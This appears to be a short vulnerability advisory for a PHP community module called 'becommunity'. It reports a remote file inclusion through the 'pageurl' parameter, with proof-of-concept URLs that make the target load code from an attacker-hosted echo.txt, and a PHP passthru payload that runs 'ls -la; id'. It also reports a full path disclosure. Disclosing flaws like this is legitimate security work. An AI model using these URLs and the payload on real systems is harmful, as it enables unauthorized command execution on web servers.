Vulnerabilities:
~~~~~~~~~~~~~~~~

1. Remote Command Execution

Remote command execution on 'becommunity' (modules that support by BBS e-market
professional)  makes insecure calls to the include() function of PHP (works 
on " pageurl= " functions )  which can allow the inclusion of remote files, 
and thereby the execution of arbitrary commands by remote user with  the web 
server user permissions, usually 'nobody' .

http://[TARGET]/becommunity/community/index.php?from_market=Y&pageurl=[injection URL]

POC=

http://[TARGET]/becommunity/community/index.php?pageurl=http://[ATTACKER]/echo.txt?
http://[TARGET]/becommunity/community/index.php?from_market=Y&pageurl=http://[ATTACKER]/echo.txt?

---------------------------------------------------------------------------

Exploit :
~~~~~~~~~

-------------------------------- cut -------------------------------------

<?
echo "".passthru(' ls -la ; id ')."";
?>


---------------------------------- cut ------------------------------------

save on attacker URL with name: echo.txt , to get a listing of file or directories ,
with user id that we got

--------------------------------------------------------------------------

2. Full Path disclosure

A remote user can access the file to cause the system to display an error 
message that indicates the installation path. The resulting error message 
will disclose potentially sensitive installation path information to the 
remote attacker.
